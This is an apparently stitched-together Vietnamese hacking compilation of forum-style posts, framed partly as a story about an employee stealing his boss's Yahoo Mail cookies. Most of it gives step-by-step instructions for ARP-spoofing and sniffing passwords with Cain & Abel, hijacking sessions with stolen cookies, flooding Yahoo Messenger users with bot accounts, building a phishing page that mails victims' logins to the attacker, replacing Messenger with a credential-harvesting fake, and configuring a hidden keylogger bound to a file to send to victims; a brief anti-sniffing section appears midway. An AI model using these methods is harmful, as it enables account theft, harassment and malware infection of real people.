[Hacking] CHÔM PASSWORD VÀ ĐỌC LÉN MAIL CỦA SẾP (PHẦN 2)
Vụ án 2 : Thằng Ếch Con cười haha vì lại một lần nữa đọc trộm email của Sếp Hai Nhái
Sau chiêu đăng nhập và ghi nhớ password của Tư Nòng Nọc chỉ cho Sếp Hai Nhái thì kế hoạch sniff lúc Sếp đăng nhập của thằng Ếch đã thất bại. Vậy làm thế nào đây ? Nó liền lục lọi các kiến thức mà nó đã biết để sắp xếp một cách logic quyết lấy được một xuất đi học bảo mật mà nó hằng mơ ước.
Đối với HTTP, sau việc đăng nhập thành công, để không phải hỏi lại nhiều lần thông tin đăng nhập. Web server sẽ lưu xuống máy client những thông tin cần thiết để kiểm tra lại, các thông tin lưu này được gọi cookie. Các cookie sẽ khác nhau ở từng website và do người lập trình thiết lập. Và ngoài thông tin xác thực user cookie còn có thể mang nhiều giá trị khác mà người thiết kế muốn.
Mỗi cookie lưu trên máy Client gồm các thông tin: Name, Content, Domain, Path, Expire date. Vậy nếu có được các cookie có giá trị, ta có thể kết nối đến Server với tư cách user sở hữu cookie đó.
Nghĩ đến đây rồi thì Ếch bắt đầu tiến hành, để làm được việc này nó cần phải chuẩn bị nhiều đồ nghề.
- Công cụ Cain & Abel để ARP spoofing.
- Sniff cookie với ferret
- Trình duyệt FireFox và add-on Cookie Editor
Sau khi mọi thứ đồ nghề đã download sẵn hết rồi thì chú Ếch nhà ta mới hí hửng chuẩn bị ... hành sự (tiếp tục con đường tội ác, hehe)
- Ếch ta vào CMD nhảy tới folder chứa ferret và gõ lệnh ferret.exe -W để xem thông tin chương trình cũng như số thứ tự card mạng mà nó muốn tiến hành sniffer.
- Sau khi xác định card mạng nó gõ lệnh ferret.exe -i 2 để tiến hành sniffer trên card số 2 và lướt web âm thầm đợi ông sếp check mail (thiệt là ác quá đi, hehe)
- Vừa được nửa lon Pepsi (chú ếch nhà ta có tật nghiện pepsi, thiếu pepsi là cái đầu nó ngu hẳn ra, hihi) thì nó nhận được khá nhiều thông tin HTTP GET, toàn bộ các thông tin này sẽ được lưu trong file hamster.txt ở cùng thư mục với ferret
- Ếch mở file hamster.txt ra thì đập vào mắt nó là "linh tinh hầm bà lằng" giá trị, nhưng nó chỉ để ý đến 2 giá trị "Y" & "T".
- Nó mở FireFox, truy cập
http://mail.yahoo.com và chọn Cookie Editor để xóa tất cả các giá trị đăng lưu. Nó nhập vào đó 2 giá trị "Y" & "T" mà nó sniff được và save lại.
- Tất cả đã hoàn tất, nó lại truy cập
http://mail.yahoo.com và "úm ba la sì bùa", nó đã đăng nhập được vào hộp thư
daoduyhieu_lab@yahoo.com của sếp dựa vào cookie mà nó sniff được.
- Nó lại tiếp tục đem kết quả này trình Sếp thì lúc này Sếp mới thật sự quan tâm. Sếp đã quyết định tài trợ cho Ếch Con đi học một khóa bảo mật và khi nó học xong thì sẽ tiến hành dự án nâng cấp hệ thống mạng của công ty Frog Co cho tốt hơn.
- Qua bài học này Sếp Hai Nhái rút ra được kết luận là
+ Cần lắng nghe các tâm tư nguyện vọng của nhân viên, xét thấy phù hợp thì nên triển khai để tránh gặp trường hợp "có hối cũng không kịp".
+ Khoan hẵn nghe lời "xàm tấu" của những người được gọi là "chiên gia".
Giải pháp chống sniffer
Việc detect sự hiện diện của sniffer trong LAN là một việc không đơn giản tí nào bởi vì sniffing là một hành động passive (thụ động), nó không trực tiếp tác động và gây thay đổi (cụ thể) nào để có thể nhận ra nó một cách dễ dàng. Không có một software nào có thể detect được sniffer một cách nhanh chóng và chính xác. Vì vậy để giảm thiểu Sniff thì ta nên áp dụng các phương pháp sau :
- Giải pháp cho việc chống bị sniff thì có: gán Static Mac-Address, dùng SSL, VPN,VLAN, Switch (hỗ trợ DHCP snooping, monitor port ).
- Detect sniff thì có hai cách nền tảng: detect promiscuous mode của NIC (từng host) và theo dõi tình trạng nội mạng (trọn bộ LAN).
Ảnh : Gán Static Mac-Address cho máy Sếp
Ảnh : Trình Sniffer sẽ không bắt được thông tin đăng nhập
Và đối với việc an toàn thông tin, điều đầu tiên và quan trọng nhất là quy định về an toàn thông tin. Nếu quy định đưa ra một cách rõ ràng và cụ thể cho mức độ vi phạm (như bị kỷ luật, cho nghỉ việc, bị truy tố trước pháp luật....) thì cơ hội thực hiện các hành động xâm phạm thông tin bất hợp pháp sẽ giảm thiếu ở mức tối đa. Không ai muốn đón nhận cái hiểm họa đến với mình nếu như hiểm họa ấy không đủ để đánh đổi điều mình cần lấy.
Link:
http://daoduyhieu.spaces.live.com/?_c11_BlogPart_BlogPart=blogview&_c=BlogPart&partqs=cat%3dHACKING%2520-%2520SECURITY "Chôm" Password trong môi trường Hub, Switch (mạng LAN, thường ở những dịch vụ NET)
Sử dụng phần mềm Cain & Abel v4.2 :
Ở đây tôi làm ví dụ với mô hình Lab 3 máy : PC01, PC02, PC03 nối chung trong 1 switch. Cài Cain trên PC03 để "đánh hơi" (sniffer) Password khi PC02 truy cập vào PC01.
Lưu ý : Chỉnh registry cho PC03 trước khi làm bài này : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\Tcpip\Parameter s\IPEnableRouter =1
Bước 1: Cài Cain theo cấu hình default trên PC03
Bước 2: Chạy Cain
Bước 3: Trong menu Configure, chọn Card mạng tham gia capture.
Bước 4: Chọn Start Sniffer, Chọn Add Host -> OK để dò các máy trong cùng Switch.
Bước 5: Chọn Tab Snffier, Chọn dấu "+" để chọn máy muốn sniffer.
Bước 6: Chọn Start APR
Bước 7: Từ PC02 truy cập sang PC01
Bước 8: Trở về PC03, chọn tab "Password"
Bước 9: Click phải vô password vừa capture được, chọn send to cr@cker.
Bước 10: Sang tab cr@cker, click phải vào password cần ****** chọn Brute Force attack / NTLM Session Security, Start
Đến đây là hoàn tất ! Nhưng Nguyễn Phi lại dùng cách này (Hiện tại mình sử dụng phiên bản Cain & Abel v4.9.3, các bạn có thể download tại
http://oxid.netsons.org/download/ca_setup. exe)
Các tính năng của Cain thì khỏi phải nói. Các bạn có thể tham khảo thêm những tính năng của nó trong tài liệu kèm theo chương trình.
Bước 1: Sau khi install xong Cain và khởi động Cain thì ta cần phải cấu hình Network Adapter cho đúng. Trên menu của Cain chọn Configure --> lựa chọn Network Adapter phù hợp. Click Start Sniffer.
Bước 2: Lựa chọn Tab Sniffer --> Scan MAC Addresses, ở đây sẽ ra danh sách các địa chỉ IP mà chương trình Scan được.
Bước 3: Tab bên dưới của Tab Sniffer lựa chọn phần APR. Tai khung APR ta có thể thêm địa chỉ IP mà cần sniff. Lựa chọn IP đích , IP nguồn.
Bước 4: Và click Start APR, và ngồi chờ password "về làng"

BOMB Yahoo 8.0 và 8.1
Chương trình bomb Messenger Exploition V4 này sẽ khiến Victim không thể online được trong 10phút sau khi bị bomb (nếu bạn để chương trình bomb hoạt động mà không tắt đi thì victim sẽ không thể online được nữa).
Với đa số những chương trình bomb trước đây thường có khuyết điểm là khi bomb thì máy của mình sẽ khá lag, nhưng với chương trình này thì điều đó đã được khắc phục, vì vậy mọi người có thể an tâm mà bomb.

Cũng như những chương trình cũ, chương trình này sẽ gởi Spam đến trong khoảng 5s khi bắt đầu ấn bomb.
BOMB Yahoo 8.0 và 8.1 Chương trình này còn có thêm mục Custom PM Bomb (bạn thấy ô trống bên cạnh có chữ Cusom text là nơi bạn có thể điền lời nhắn đến victim)

MessengerExploitionV4
Ai thích thì tham khảo thêm chương trình này :
Dark_Deception
Những cách hack Account thường gặp
*Cách1:
Bạn đi Chat và đã bao giờ để ý đến dòng Remember my ID & Password trong trang Login của YM chưa ? Có rất nhiều người khi đi Chat hay Check dòng đó, YM sẽ lưu lại ID & Password của họ, chỉ cần sử dụng những phần mềm soi pass (có trong box này) hay Caption It là bạn có thể dịch được cái dòng password **** đó. Bạn có thể down nó tại
http://www.bravenet.com. Sử dụng nó dễ như ăn cháo. Sau khi down nó về bạn sẽ thấy nó chỉ có duy nhất một file bạn chạy file đó rồi di chuột đến dòng password cần dịch password sẽ hiện ra trong box.
*Cách2:
Cách này thì có lẽ ít bạn để ý đến, đó là bạn sẽ làm cho windown tự động lưu lại ID & password mà chẳng thèm để ý xem nạn nhân có đồng ý hay không. Người khác có thể vào xem thư mà chẳng cần biết ID lẫn password, Window sẽ lưu password vào file *.PWL trong Windown/System và chỉ cần dùng phần mềm ToolPWL là sẽ biết được passsword. Để làm điều đó bạn hãy vào Internet Explorer chọn Tools --> Internet Options...--> Chọn tag Content --> Auto Complete... đánh dấu chọn User name & password on form và Prompt me to save passwords. Vậy là windown sẽ lưu lại password mà chẳng thèm hỏi han gì cả.
*Cách3:
Cách này sử dụng phần mềm KeyLogger, chức năng của nó là ghi lại tất cả những gì nạn nhân đánh ở bàn phím ID, password ... tất tần tật. Nó lại còn có thể chụp lại màn hình sau khoảng thời gian mà bạn định sẵn nữa, nó có chế độ tự huỷ theo ngày mà bạn chọn.
Tất cả mọi thứ sẽ được lưu lại và gửi về email cho bạn, chỉ cần email của bạn có hỗ trợ pop chẳng hạn như hotmail, còn yahoo thì hết free lâu rồi. Bạn chỉ cần download nó về chạy nó ở bất cứ đâu bạn có thể dâu nó ở một chỗ mà nạn nhân khó phát hiện nhất, sau đó bạn setting cho nó, cái này cũng chẳng khó khăn gì nếu bạn đã từng xài bomb mail thì setting cho cái này cũng tương tự thôi. Bạn cũng có thể cài mật khẩu để chỉ một mình bạn sử dụng được mà thôi. Mà cái quan trọng là mấy "anh chàng vệ sĩ" AntiVirus hay Trojan Remove chẳng thể phát hiện nổi nó. Vào trang
http://www.bravenet.com để down nó về.
Vậy thì làm thế nào để biết máy mình có dính nó không ? Bạn hãy đặt chế độ "firewall" cho chương trình Antivirus để khi có file gửi đi nó sẽ thông báo cho bạn biết, nếu bạn thấy nghi ngờ hãy vào Start --> Seach để tìm xem có mặt nó hay không nếu có thì delete nó đi là xong.
*Cách4:
Cách này chúng ta sẽ tạo một trang giao diện giống Yahoo Mail để khi nạn nhân check mail thì password sẽ gửi về hộp thư cuả bạn. Làm sao để tạo đây ? Hãy yên tâm, bạn chẳng cần biết chút gì về thiết kế web cũng có thể làm được.
Đầu tiên bạn hãy vào
http://mail.yahoo.com sau đó chọn menu File --> Save AS để ghi trang đó lại, hãy nhớ xem bạn ghi lại ở đâu nhé ! Bây giờ hãy mở Notepad ra (Star/Programs File/Accessories/Notepad). Chọn File/Open để mở trang Yahoo Mail bạn vừa ghi ra, bạn tìm đến dòng sau :
FORM name=login_form
onsubmit="return hash(this,'http://login.yahoo.com/config/login')"
action=https://login.yahoo.com/config/login?c17b5ebqs944v
method=post autocomplete="off"
Bạn hãy sửa nó lại như sau:
FORM method="post" action="maito:địa chỉ email của bạn"
Ví dụ: Email của tui là
NguyenPhi@yahoo.com thì dòng đó sẽ là action="maito:NguyenPhi@yahoo.com"
Xong xuôi bạn chọn Save để ghi lại. Tìm đến nơi bạn ghi file Yahoo Mail đó click chuột phải vào chọn Send to --> Desktop. File đó sẽ được đưa ra màn hình, bạn hãy rename nó cho hấp dẫn chút kiểu kiểu như: "Yahoo Mail" hay "Check Mail" chẳng hạn ... giờ thì ngồi chờ để xem có "gà" nào check mail không là OK !

*Cách 5:
Cách này giống như cách bạn tìm lại password khi bạn quên, bạn hãy đọc bài "Tìm password email bị mất" ở trang chủ để biết thêm. Cách này khó nhất là trả lời câu hỏi bí mật của nạn nhân

không biết bạn thế nào chứ tui thì lấy được kha khá password bằng cách này.

*Cách 6:
Trước khi nói đến cách này thì xin được gửi lời xin lỗi đến các bạn đã làm theo Cách 2 trong bài "lấy password email yahoo" ở trang chủ. Mình không có ý định lừa để lấy pass của ai cả mà chỉ muốn cho các bạn biết đó cũng là một cách hack. Hiệu quả của nó ư ? Bằng cách đó mình lấy được hơn 2000 password email. Cũng chỉ vì có người post cách đó bên hackervn mà thư cứ gửi về nườm nượp, lại còn lên cả báo Sinh viên Viêt Nam nữa.

Bạn hãy đăng ký 1 địa chỉ email Yahoo đại loại như Showmepassword@yahoo, return_pass@yahoo, hay lookup_pass@yahoo ... chẳng hạn, sau đó dụ victim giống như mình đã làm các bạn có thể dựa vào đó... !
*Cách 7:
Cách này chúng ta sẽ tạo một face giống Yahoo Messenger để khi victim đi chat, nhập ID & Password thì nó sẽ lưu lại. Đầu tiên bạn cần down YahooFace trong mục download ở trang chủ, giải nén nó bạn sẽ có 2 file: yahoo.mdb và YPager. exe. Bạn hãy copy file yahoo vào ổ C:\, tiếp đến bạn copy file YPager đến thư mục cài đặt Yahoo Messenger, thường thì nó nằm ở C:\Programs Files\Yahoo\Messenger, trước khi paste file YPager, bạn nên rename file YPager có trước trong đó thành YPager1 chẳng hạn sau đó đưa nó ra màn hình để khi login vào face Yahoo của mình không được thì victim có thể chọn cái shortcut đó để vào Yahoo Messenger một cách bình thường , rồi paste file YPager mà bạn vừa down về, vậy là xong rồi đó khi nạn nhân login thì ID & Password vào file yahoo.mdb, để xem bạn hãy chạy file YPager click vào nút Search rồi đánh vào password login123 để xem danh sách các nạn nhân, để lấy được file yahoo.mdb bạn có thể sử dụng phần mềm Stealmail để nó gửi về mail cho bạn.
Bom Y!M 9.0 và phần mềm tạo nick boot
Bài hướng dẫn này gồm 2 phần :
Phần I: Tạo Bots:
1. Nguyên tắc hoạt động của các chương trình kick - boot (chắc ai cũng biết nhưng nhắc lại một tý cho những người chưa biết) :
- Nguyên tắc hoạt động của nó là gửi rất nhiều gói dữ liệu về máy của nạn nhân (victim) theo kiểu "liên hoàn cước", trong 1 thời gian vô cũng ngắn khiến cho máy tính của vitim tốn rất nhiều dung lượng RAM để phân giải. Kết quả nếu nhẹ thì out Yahoo! Messenger còn nặng hơn thì treo máy do quá tải bộ nhớ.
Để có thể gửi được nhiều gói dữ liệu vào nick nạn nhân, chương trình bom dùng cách sau: nó sẽ Log in vào thật nhiều nick, những nick đó do chúng ta tạo sẵn, giống hệt như nick Yahoo của chúng ta vậy (hướng dẫn tạo ở phần dưới bài này), và từ đó sẽ gửi tin nhắn cho nạn nhân, nếu ồ ạt gửi độ 500 tin cùng lúc, máy nạn nhân sẽ không xử lý kịp, nhẹ thì treo máy, nặng thì Out ra ngoài mạng.
2. Hướng dẫn tạo bots:
Nick Boot là cái gì: chính là nick Yahoo, nhưng mà có cả 1 đàn hàng trăm em, được chương trình login vào để làm bomb, càng nhiều nick boot thì bom càng mạnh, hê hê, có như vậy mới kick văng được Victim ra ngoài.
Để tạo nick bot, nếu đủ kiên nhẫn thì cứ việc tạo như tạo nick Yahoo thông thường. Nhưng nếu tạo như vậy sẽ tốn thời gian, ít nhất 5 phút/1 nick, để tạo 100 nick tốn 500 phút = gần 10 tiếng => không ai làm cách này mà sẽ dùng phần mềm tạo cho nhanh.
Mình giới thiệu phần mềm đây: Unbreakable v2. (Tuyết đã giới thiệu, mình chỉ thêm 1 chút và ai không down được link của Tuyết thì có thể down ở dưới)
Chương trình này đã có lâu, đến giờ vẫn working good! với 2 chức năng, Proxies hoặc không Proxies.
1. Làm bots không Proxies: hết server IP sẽ bị banned, cho nên tìm càng nhiều Working Servers thì lâu bị banned hơn.
Server list cần thiết có cung cấp sẵn trong Folder Unbreakable v2.
- Chọn Direct.
- Password: Đặt pass
- Extended Options: Đăng kí Infor cho bots
- Number of Bots per list: 1 list bạn làm bao nhiêu bots!! (chọn 50 đi).
- Random ID's: Chương trình auto tự chọn name availaible nếu "lười" đặt name cho bots.
- StartWith: Tên bots ...vd: nguyenphinguyenphi
- Scan Mode: độ dài kí tự, vd: Nguyen Phi chọn 15 ... nhìn phần StartWith có 15 kí tự (do chương trình tự động thêm 1 kí tự nữa để đủ 15 kí tự).
- Nhấn Create.
- Điền Code rồi Enter.
2. Làm bots với Proxies: cần có list Working Proxies, search list này ở những trang trước.
- Save good proxies vào Proxies.txt trong Folder Unbreakable v2.
- Chọn Proxies.
Tiếp theo từng bước như trên.
Tất cả bots làm xong, chương trình tự động Save trong Folder Unbreakable v2 (file tên là Createdbots_List1.txt).
OK xong cái khoản bots.
Hack game online
Mình thấy rất nhiều người bost bài hướng dẫn cách hack vl, nhưng toàn là tào lao, ko có căn cứ. Muốn hack dc cách duy nhất là các bạn phải có 1con viruss -->sau đó có thể gởi wa yahoo , ra tiệm Net cài hoặc up lên web thì có thể được. Cách này hồi cách đay 2 năm mình cũng từng làm và thấy cũng tạm được, nhưng ko biết bây giờ thế nào nữa, lâu lắm rồi ko chơi..Hôm nay mình sẽ hướng dẫn các bạn cách sử dụng từ cơ bản nhất đến 1 số chức năng ít người khai thác !
KEYLOGGER Xếp Thứ 2...PERFECT KEYLOGER V1.66
Keylog nói chung là phần mềm ghi lại các thao tác bàn phím, đây là chức năng cơ bản của nó. Mặc dù sau này keylog càng ngày càng có thêm nhiều chức năng hơn nhưng đây vẫn là phần nhiệm vụ cơ bản nhất mà nó phải đảm bảo.
Perfect keylog được đánh giá là 1 trong 10 keylog nguy hiểm nhất ! Nó khá hoàn hảo về các chức năng, dễ dàng trong cài đặt và sử dụng. Hiện nay phiên bản mới nhất là 1.67 !
Hôm nay tui sẽ hướng dẫn các bạn cách sử dụng từ cơ bản nhất đến 1 số chức năng ít người khai thác !
II/ Download và cài đặt
======>> Chú ý : Trước khi muốn download Keylog về các bạn nên tắt hết các chương trình diệt virus của máy kể cả bkav để tránh tình trạng virus của ta bị diệt trước khi down về, vả lại nếu còn chương trình diệt virus chạy thi` sẽ tiêu diệt con key của chúng ta ngay, các bạn lưu ý điểm này.
CÁC BẠN TẢI CHƯƠNG TRÌNH VỀ TẠI ĐÂY:http://www.mediafire.com/?mfm9xm4tzjj
Sau khi đã download về các bạn giải nén và tiến hành cài đặt.
Click chuột phải vô biểu tượng của keylog trong khay hệ thống
System:
run on Windows startup ( tự động chạy mỗi khi win khởi động);
don't show grogram icon..
- Hotkey: phím nóng để gọi keylog lên trong khay hệ thống khi sử dụng chức năng tự ẩn đi của keylog, bạn có thể thay đổi tùy ý mình sao cho dễ nhớ là được !
- Invisibility: khả năng tự ẩn của key trong task manager
Trong phần này các bạn nên để toàn bộ các chế độ trên ! Như vậy là xong 1 option là general.
Logging: Tùy chọn các chức năng ghi chép, đặt pw bảo vệ... phần này không quan trọng lắm,
Screenshot: Chức năng tự động chụp màn hình sau 1 khoảng thời gian ấn định sẵn, chất lượng file hình, kiểu chụp...
Email: đây là phần quan trọng các bạn chú ý. Nó sẽ giúp gửi các thông tin ghi chép, hình ảnh chụp được về cho chúng ta theo email ! Nhìn lên trên tui thấy có 2 tag là Scheduler và Delivery
Delivery: cài đặt địa chỉ email. Nếu các bạn sử dụng mail server của keylog như mặc định thì chỉ cần gõ địa chỉ email vô ô send to như vậy là được. Tuy nhiên nếu có mail server khác ổn định hơn thì bạn có thể sử dụng mailserver này bằng cách đánh dấu vào ô Use mail acc to send email và sau đó điền đầy đủ thông tin của mail acc vào
Lời khuyên, nếu các bạn không chắc chắn về SMTP, port .. thì tốt nhất chỉ cần điền địa chỉ email của mình vào phần Send to thôi
Sau khi điền xong các bạn chọn Send test ! Keylog sẽ gửi 1 bức mail kiểm tra đến hòm mail bạn đã điền. Nếu thông báo Send thành công tức là email đã được gửi đi.
Thông thường bạn nên chọn Gmail thì tốt hơn và đôi khi có thể gặp trục trặc khi không thể kết nối được với server !
- Scheduler: Lên lịch cho keylog để gửi ghi chép về qua mail ( chú ý đánh dấu vào ô try to send logs... ) Các tùy chọn là do bạn: thời gian gửi mỗi lần, dung lượng mail gửi đi, gửi ghi chép gồm những gì ( hình ảnh, chat logs,...)
FTP: Đây là chức năng giúp keylog gửi ghi chép về trên host của bạn dưới dạng các file htm và file hình ảnh ...Đây là một chức năng khá hay, tỷ lệ gửi thành công cao tuy nhiên rất ít người dùng nó. Yêu cầu là có 1 host hộ trợ ftp upload ! Bạn điền đầy đủ thông tin về host như hostname gmail.com
gmail-smtp-l.google.com
alt2.gmail-smtp-in.l.google.com
=> bọn gmail này đảm bảo dùng rất cool , Ít khi bị kẹt Mail trên Server .
Chọn một trong những địa chỉ SMTP này để đièn vào ô tương xứng . Điều quan trọng ở đây là Gmail chỉ gửi cho Gmail và yahoo mail chỉ gửi được cho yahoo mail.
Bấm vào Send test để thử .Nếu thành công các bạn sẽ được thông báo như sau :succesful to send mesenger!
Bấm vào : BROWSE để chỉ file dẫn cho con keylogger nhúng vào . Có thể chọn file EXE hay file nhạc v.v..
Bấm NEXT > NEXT > Finish
Sau khi hoàn thành thì send virus cho VicTim.Thường thì nếu bị dính virus này thì nạn nhân khó mà thoát được tại vì pass rương + fím ảo cũng kô thể trốn thoát được.